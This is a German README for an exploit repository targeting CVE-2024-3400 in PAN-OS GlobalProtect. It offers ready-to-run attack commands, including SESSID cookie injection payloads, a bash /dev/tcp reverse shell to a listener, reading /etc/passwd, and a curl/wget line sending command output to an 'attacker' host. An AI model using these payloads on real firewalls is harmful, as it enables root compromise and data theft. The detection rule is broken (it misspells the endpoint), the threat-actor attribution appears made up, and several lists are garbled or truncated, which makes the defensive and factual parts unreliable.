Reproduktion von cve-2024-3400-panos_rce_reproduction
CVSS 10.0 KRITISCH | CWE-78: OS-Befehlsinjektion | Massenhaft in freier Wildbahn ausgenutzt
CVE-2024-3400 ist eine Befehlsinjektions-Schwachstelle vor der Authentifizierung in den GlobalProtect-Portal- und Gateway-Schnittstellen von Palo Alto Networks PAN-OS. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Befehle mit Root-Rechten auf der betroffenen Firewall auszuführen.
Die Schwachstelle liegt in der Sitzungscookie-Verarbeitung der GlobalProtect-Portal- und Gateway-Komponente. Die Funktion, die für die Verarbeitung des SESSID-Cookies zuständig ist, unterlässt es, die vom Benutzer gelieferten Eingaben ordnungsgemäß zu bereinigen, bevor sie an einen Shell-Befehl übergeben wird.
Konkret führt eine nicht authentifizierte HTTP-Anfrage an den GlobalProtect-Portal-Endpunkt (/global-protect/login.esp) mit einem manipulierten SESSID-Cookie, das eingebettete Shell-Metazeichen (Backticks und Variablenexpansion) enthält, zu einer Befehlsinjektion.
Der anfällige Codepfad funktioniert wie folgt:
/global-protect/login.espSESSID-Cookies wird ohne Bereinigung extrahiertsystem() oder eine ähnliche OS-Befehlsausführungsfunktion ausgeführtDie Injektions-Payload verwendet in Backticks gesetzte Befehle innerhalb des SESSID-Cookies:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
Die Pfad-Traversal (/../../../) verlässt das vorgesehene Verzeichnis, und der in Backticks gesetzte COMMAND-Teil veranlasst die Shell, die Eingabe des Angreifers auszuführen. Umleitung der Ausgabe oder Reverse-Shell-Mechanismen können verwendet werden, um Befehlsergebnisse zu exfiltrieren.
| PAN-OS-Version | Betroffen | Behoben in |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x | < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 | 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
Hinweis: PAN-OS 9.x und frühere Versionen sind nicht betroffen. Cloud NGFW und Prisma Access sind nicht betroffen.
Es wurde beobachtet, dass UNC4554 / Midnight Blizzard (APT29) CVE-2024-3400 ab März 2024 als 0-Day ausnutzte. Volexity veröffentlichte ihre Analyse am 12. April 2024. Die Angriffsmuster umfassten:
Es wurden mehrere öffentliche PoCs veröffentlicht. Dieses Repository stellt einen funktionsfähigen Exploit für autorisierte Tests bereit.
requests-Bibliothekpip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
Siehe exploit.py in diesem Repository für einen voll ausgestatteten Python-Exploit mit Unterstützung für:
/global-protect/login.esp mit ungewöhnlich langen oder verdächtigen SESSID-Cookies/../../) in Kombination mit Backtick-Zeichen enthalten.py-Erweiterung, die nach /opt/panlogs/tmp/device_telemetry/ geschrieben werdentitle: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (blockiert den anfälligen Codepfad, ohne einen Neustart zu erfordern)/opt/panlogs/tmp/device_telemetry/SESSID-Cookie-WerteWenden Sie den von Palo Alto Networks bereitgestellten Hotfix an. Der Fix bereinigt die Cookie-Eingabe ordnungsgemäß, bevor der Shell-Befehl erstellt wird.
Wenn Sie eine Ausnutzung vermuten: